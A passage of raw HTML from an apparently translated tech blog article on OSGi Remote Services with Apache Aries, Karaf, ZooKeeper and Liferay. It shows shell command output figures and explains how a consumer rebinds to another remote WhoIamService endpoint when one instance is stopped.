207-3l-1-2-1%202v1l-1-1c0-1-4-2-17-2-16%200-17%200-17%203m64%200l1%202%201-1h4l1-2v1c-1%202%200%202%204%202%203%200%204-1%205-2l1%201h1l1-2v2l1%201%202-1v-1l1%201%207%201c8%200%208%200%207-3%200-2-1-2-2-1h-1l-17-1c-17%200-17%201-17%203m-99%205v2c-1%202%200%202%207%202%206%200%208-1%208-2l1-1v2h1l2-1v1c-1%201%201%201%204%201%204%200%205-1%204-2a1144%201144%200%2000-27-3m63%201l1%201v1c-1%201%200%202%207%202%206%200%208-1%208-2h3l1-1%201%201c-1%201%200%202%203%202%204%200%205%200%204-2%200-2%200-2-15-2h-13\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/c85cb/output-comando-lb-liferay.webp 300w,/static/bd39c95453e1b634ca4cb2b41f7a2995/e88ff/output-comando-lb-liferay.webp 600w,/static/bd39c95453e1b634ca4cb2b41f7a2995/92f8c/output-comando-lb-liferay.webp 1200w,/static/bd39c95453e1b634ca4cb2b41f7a2995/97499/output-comando-lb-liferay.webp 1742w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/5a46d/output-comando-lb-liferay.png 300w,/static/bd39c95453e1b634ca4cb2b41f7a2995/0a47e/output-comando-lb-liferay.png 600w,/static/bd39c95453e1b634ca4cb2b41f7a2995/c1b63/output-comando-lb-liferay.png 1200w,/static/bd39c95453e1b634ca4cb2b41f7a2995/76435/output-comando-lb-liferay.png 1742w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 14 - Output of the lb it.smc.techblog command&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/bd39c95453e1b634ca4cb2b41f7a2995/c1b63/output-comando-lb-liferay.png&quot; title=&quot;Figure 14 - Output of the lb it.smc.techblog command&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 14 - Output of the lb it.smc.techblog command&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Once we get the bundle id, we run the command &lt;code&gt;b 1180&lt;/code&gt;. The output
shown in the figure shows slightly different information than the
that is, the &lt;strong&gt;Services in use&lt;/strong&gt; section shows the reference to the service
remote, from which we can see all the characteristics of the remote endpoint.
This is where Topology Manager and Remote Service Admin came into play.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/f7f5602c7eb3fe448277d66377a51401/49832/output-comando-bundle-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:26.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;105\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20105\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2053v52h5c4%200%204%200%204-3%200-2%201-3%202-3l1%203v3h389V0H0v53m170-23h-10l-11%201h-2l-1%201c-1-2-7-2-7-1%200%202%203%202%2024%202l23-1-1-1h-9l-2-1h-4m24%2017a248%20248%200%200050%201l4%201%204-1c0-1-6-2-29-2l-29%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/f7f5602c7eb3fe448277d66377a51401/c85cb/output-comando-bundle-liferay.webp 300w,/static/f7f5602c7eb3fe448277d66377a51401/e88ff/output-comando-bundle-liferay.webp 600w,/static/f7f5602c7eb3fe448277d66377a51401/92f8c/output-comando-bundle-liferay.webp 1200w,/static/f7f5602c7eb3fe448277d66377a51401/62ed8/output-comando-bundle-liferay.webp 1800w,/static/f7f5602c7eb3fe448277d66377a51401/3852f/output-comando-bundle-liferay.webp 2374w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/f7f5602c7eb3fe448277d66377a51401/5a46d/output-comando-bundle-liferay.png 300w,/static/f7f5602c7eb3fe448277d66377a51401/0a47e/output-comando-bundle-liferay.png 600w,/static/f7f5602c7eb3fe448277d66377a51401/c1b63/output-comando-bundle-liferay.png 1200w,/static/f7f5602c7eb3fe448277d66377a51401/d61c2/output-comando-bundle-liferay.png 1800w,/static/f7f5602c7eb3fe448277d66377a51401/49832/output-comando-bundle-liferay.png 2374w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 15 - Output of the command b for the inspection of the consumer bundle of the service
Who I am&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/f7f5602c7eb3fe448277d66377a51401/c1b63/output-comando-bundle-liferay.png&quot; title=&quot;Figure 15 - Output of the command b for the inspection of the consumer bundle of the service
Who I am&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 15 - Output of the command b for the inspection of the consumer bundle of the service
Who I am&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;In this case the binding was done with the remote service that lives on
OSGi container which has the address 172.29.0.4.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;What should I see by querying the OSGi framework via &lt;em&gt;services command
en.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&lt;/em&gt;?&lt;/strong&gt; That
that we get is the information that we have the availability of two services
remotes that implement the same interface (in this case WhoIamService) but
that only one of these is used by the consumer bundle.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/7d62e/output-comando-services-liferay.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:20.666666666666668%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;82\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2082\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2041v41h4c4%200%204%200%204-3%200-2%201-3%202-3l1%203v3h390V0H0v41m175-16l18%201a96%2096%200%200118%200h12l10-1h1l5%201h4l1%201%201-2c0-1-8-2-35-2-25%200-36%201-35%202m24%2036l-1%201c0%202%208%202%209%201h1l17%201h18l2-1c0-2-1-2-2-2a395%20395%200%2001-44%200m-48%201h-2l-3%201%2026%201%2025-1a196%20196%200%2000-41-1h-5\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/c85cb/output-comando-services-liferay.webp 300w,/static/2b0b92a9a33e8981983817fcf9beda8f/e88ff/output-comando-services-liferay.webp 600w,/static/2b0b92a9a33e8981983817fcf9beda8f/92f8c/output-comando-services-liferay.webp 1200w,/static/2b0b92a9a33e8981983817fcf9beda8f/62ed8/output-comando-services-liferay.webp 1800w,/static/2b0b92a9a33e8981983817fcf9beda8f/cb557/output-comando-services-liferay.webp 2368w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/5a46d/output-comando-services-liferay.png 300w,/static/2b0b92a9a33e8981983817fcf9beda8f/0a47e/output-comando-services-liferay.png 600w,/static/2b0b92a9a33e8981983817fcf9beda8f/c1b63/output-comando-services-liferay.png 1200w,/static/2b0b92a9a33e8981983817fcf9beda8f/d61c2/output-comando-services-liferay.png 1800w,/static/2b0b92a9a33e8981983817fcf9beda8f/7d62e/output-comando-services-liferay.png 2368w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 16 - Output of the services command
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/2b0b92a9a33e8981983817fcf9beda8f/c1b63/output-comando-services-liferay.png&quot; title=&quot;Figure 16 - Output of the services command
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 16 - Output of the services command
it.smc.techblog.apache.aries.rsa.examples.whoiam.api.WhoIamService&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;What would happen if I stop the WhoIamService service
tcp://172.29.0.4:8202 currently referenced by the consumer (bundle 1180)?&lt;/strong&gt; Yes
would it create a disservice? Absolutely not. What happens in short is
this:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;stop the service on the karaf-instance-2_1 instance;&lt;/li&gt;&lt;li&gt;removal of the endpoint tcp://172.29.0.4:8202 from ZooKeeper;&lt;/li&gt;&lt;li&gt;the Discovery service will notify the change
on the removed endpoint;&lt;/li&gt;&lt;li&gt;The Topology Manager and the Remote Service Admin ensure that the
reference requested by the service consumer WhoIamService is associated
to the remote service of the karaf-instance-1_1 instance.&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;The figure below shows the endpoint verification on the instance
karaf-instance-2_1, stop execution for the Who I am Service bundle
(bundle 12) and the subsequent verification of the endpoints. After the bundle stop is
evident how the endpoint tcp://172.29.0.4:8202 has been removed.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/a36785276728857a3ee9f7e25d3229ae/0db18/stop-servizio-whoiam.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:30%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;120\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20120\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2060v60h401V0H0v60m8-47c0%202-1%203-3%203l-3%201h6v23l1%2023V17h14v23l1%2023V17h9v23l1%2024V17h35v23l1%2023V17h165l166-1H70v-5l-1%202-1%203H35l-1-3-1-2v2c0%203%200%203-4%203-5%200-5%200-5-3v-2l-1%202c-1%202-1%203-7%203-7%200-7%200-7-3-1-2-1-2-1%200m179%2066c0%201%2021%202%2045%201%2027%200%2018-2-14-2l-31%201m-37%204c-1%201%200%201%202%201%2010%200%2011%201%2012%202l-1%201-10-1-12%201%2012%201c12%200%2012%200%2012-2-1-2-1-2%209-2l8-1h-32m208%200l10%201%204%201-11%201-11%201%2014%201c12%200%2015%200%2014-1%200-1-1-2-3-1l-2-1%2010-1%2012-1-18-1-19%201m-168%203l-3%201%2031%201%2030-1c0-1-49-2-58-1m-40%2023c-1%201%200%201%202%201%209%200%2011%201%2012%202h-8c-10-1-15%200-15%201l12%201c12%200%2012%200%2012-2-1-2-1-2%209-2l8-1h-32m208%200l10%201%204%201-8%201-14%201%2014%201c12%200%2015%200%2014-1%200-1-1-2-3-1l-2-1%2010-1%2012-1-18-1-19%201m-167%203l-4%201%2031%201a277%20277%200%200027-2h-54\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/a36785276728857a3ee9f7e25d3229ae/c85cb/stop-servizio-whoiam.webp 300w,/static/a36785276728857a3ee9f7e25d3229ae/e88ff/stop-servizio-whoiam.webp 600w,/static/a36785276728857a3ee9f7e25d3229ae/92f8c/stop-servizio-whoiam.webp 1200w,/static/a36785276728857a3ee9f7e25d3229ae/62ed8/stop-servizio-whoiam.webp 1800w,/static/a36785276728857a3ee9f7e25d3229ae/62ee7/stop-servizio-whoiam.webp 2359w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/a36785276728857a3ee9f7e25d3229ae/5a46d/stop-servizio-whoiam.png 300w,/static/a36785276728857a3ee9f7e25d3229ae/0a47e/stop-servizio-whoiam.png 600w,/static/a36785276728857a3ee9f7e25d3229ae/c1b63/stop-servizio-whoiam.png 1200w,/static/a36785276728857a3ee9f7e25d3229ae/d61c2/stop-servizio-whoiam.png 1800w,/static/a36785276728857a3ee9f7e25d3229ae/0db18/stop-servizio-whoiam.png 2359w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 17 - Stop the bundle 12 Who I am Service and check the endpoints&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/a36785276728857a3ee9f7e25d3229ae/c1b63/stop-servizio-whoiam.png&quot; title=&quot;Figure 17 - Stop the bundle 12 Who I am Service and check the endpoints&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 17 - Stop the bundle 12 Who I am Service and check the endpoints&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;On the Liferay instance, if we went to check the endpoints, we will see that
the endpoint tcp://172.29.0.4:8202 e
running the &lt;code&gt;services&lt;/code&gt; command again, we will see that the required reference
from the consumer to the Who I am service, it has been correctly changed to
the endpoint tcp://172.29.0.3:8202.&lt;/p&gt;&lt;p&gt;The two figures below show the changes that occurred on the Liferay side, the last one
in particular, it shows the output of calling the whoiam () method of the service
remote, where it is evident that the remote service that responded is what it does
reference to the endpoint tcp://172.29.0.3:8202, in this case the instance
karaf-instance-1_1.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/8f3f4/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:18.999999999999996%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;76\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2076\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2038v38h401V0H209L21%201l5%201H14l-2-1h2L8%200H0v38m0%201a618%20618%200%20002%2036l1-1v-1c-2%200-2-2-2-16V41l3%201%203-1-3-1H1v-9c0-5%200-9%201-8%200%203%202%202%202-1l-2-2H1c0-1%201-2%203-1l2-1-2-1-3-1%203-1h2l-2-1c-3%200-3%200-3-4V6h7l7-1-6-1-6-1c1-2%200-2-1-2-2%200-2%201-2%2038m88-27\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/c85cb/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 300w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/e88ff/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 600w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/92f8c/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 1200w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/62ed8/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 1800w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/46261/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 2400w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/e15a8/verifica-binding-nuova-istanza-servizio-remoto-whoiam.webp 2693w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/5a46d/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 300w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/0a47e/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 600w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/c1b63/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 1200w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/d61c2/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 1800w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/97a96/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 2400w,/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/8f3f4/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png 2693w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 18 - Endpoint verification and service binding after the remote service is stopped&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/61a6a4d60edd4f0f3a58e63c6ec7d2b3/c1b63/verifica-binding-nuova-istanza-servizio-remoto-whoiam.png&quot; title=&quot;Figure 18 - Endpoint verification and service binding after the remote service is stopped&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 18 - Endpoint verification and service binding after the remote service is stopped&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/d9774/chiamata-al-servizio-remoto.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:10.999999999999998%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;45\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2045\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2023l1%2022%201-1h1l200%201h198V0H0v23\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/c85cb/chiamata-al-servizio-remoto.webp 300w,/static/c9c390489ce849b8fe59b05922d9dee3/e88ff/chiamata-al-servizio-remoto.webp 600w,/static/c9c390489ce849b8fe59b05922d9dee3/92f8c/chiamata-al-servizio-remoto.webp 1200w,/static/c9c390489ce849b8fe59b05922d9dee3/62ed8/chiamata-al-servizio-remoto.webp 1800w,/static/c9c390489ce849b8fe59b05922d9dee3/5a7c2/chiamata-al-servizio-remoto.webp 2365w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/5a46d/chiamata-al-servizio-remoto.png 300w,/static/c9c390489ce849b8fe59b05922d9dee3/0a47e/chiamata-al-servizio-remoto.png 600w,/static/c9c390489ce849b8fe59b05922d9dee3/c1b63/chiamata-al-servizio-remoto.png 1200w,/static/c9c390489ce849b8fe59b05922d9dee3/d61c2/chiamata-al-servizio-remoto.png 1800w,/static/c9c390489ce849b8fe59b05922d9dee3/d9774/chiamata-al-servizio-remoto.png 2365w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 19 - Evidence of the call to the remote service made by the consumer and the
response expected from the endpoint tcp://172.29.0.3:8202&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/c9c390489ce849b8fe59b05922d9dee3/c1b63/chiamata-al-servizio-remoto.png&quot; title=&quot;Figure 19 - Evidence of the call to the remote service made by the consumer and the
response expected from the endpoint tcp://172.29.0.3:8202&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 19 - Evidence of the call to the remote service made by the consumer and the
response expected from the endpoint tcp://172.29.0.3:8202&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Even if we restart the bundle that was previously stopped, the consumer
it would remain hooked to the current endpoint. We conclude this chapter with the
figure below which shows the output of the call to the Raspberry Pi Service remote service
, called by the Liferay instance.&lt;/p&gt;&lt;div class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/79556ec0c8f68130e255e739afb77c00/53573/output-servizio-remoto-raspberry-pi.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:7.333333333333333%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;29\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%2029\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M0%2015c0%2010%200%2014%201%2013h2l199%201h199V0H0v15m0%200c0%208%200%2014%201%2012%200-1%201-2%205-1a151%20151%200%200024-1l-14-1C0%2024%201%2024%201%2022h1c1%201%2034%201%2034-1h-1l-2%201-16-1c-9%200-15-1-16-2h17c16%200%2018%200%2018-2h-1c0%201-3%202-3%200H17C7%2017%202%2016%201%2015h20l8-1c1-1-3-1-13-1-13%200-15%200-15-2l1-1h12L8%209%201%208l6-1h7c0-1-3-2-8-2L1%204c0-1%201-2%203-1h26l-4-1H11L0%201v14m210-5l35%201%2035-1-35-1-35%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/79556ec0c8f68130e255e739afb77c00/c85cb/output-servizio-remoto-raspberry-pi.webp 300w,/static/79556ec0c8f68130e255e739afb77c00/e88ff/output-servizio-remoto-raspberry-pi.webp 600w,/static/79556ec0c8f68130e255e739afb77c00/92f8c/output-servizio-remoto-raspberry-pi.webp 1200w,/static/79556ec0c8f68130e255e739afb77c00/62ed8/output-servizio-remoto-raspberry-pi.webp 1800w,/static/79556ec0c8f68130e255e739afb77c00/47d0c/output-servizio-remoto-raspberry-pi.webp 2297w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/79556ec0c8f68130e255e739afb77c00/5a46d/output-servizio-remoto-raspberry-pi.png 300w,/static/79556ec0c8f68130e255e739afb77c00/0a47e/output-servizio-remoto-raspberry-pi.png 600w,/static/79556ec0c8f68130e255e739afb77c00/c1b63/output-servizio-remoto-raspberry-pi.png 1200w,/static/79556ec0c8f68130e255e739afb77c00/d61c2/output-servizio-remoto-raspberry-pi.png 1800w,/static/79556ec0c8f68130e255e739afb77c00/53573/output-servizio-remoto-raspberry-pi.png 2297w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figure 20 - Raspberry Pi Service remote service call which returns a
system information series&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/79556ec0c8f68130e255e739afb77c00/c1b63/output-servizio-remoto-raspberry-pi.png&quot; title=&quot;Figure 20 - Raspberry Pi Service remote service call which returns a
system information series&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 20 - Raspberry Pi Service remote service call which returns a
system information series&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/div&gt;&lt;h2 id=&quot;7-projects-on-smcs-github-account&quot;&gt;7. Projects on SMC&amp;#x27;s GitHub account&lt;/h2&gt;&lt;p&gt;I think it was a great effort to get here, but I&amp;#x27;ll leave you a lot
gift. Everything you have seen in the course of this article
it is available as a git repository. This project is organized in several
repository and in particular:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/smclab/docker-osgi-remote-services-example&quot;&gt;docker-osgi-remote-services-example&lt;/a&gt; &lt;/strong&gt;:
It is the repository that contains all the Docker Compose project there
will allow us to come up with the solution represented by the diagram of Figure 4 (a
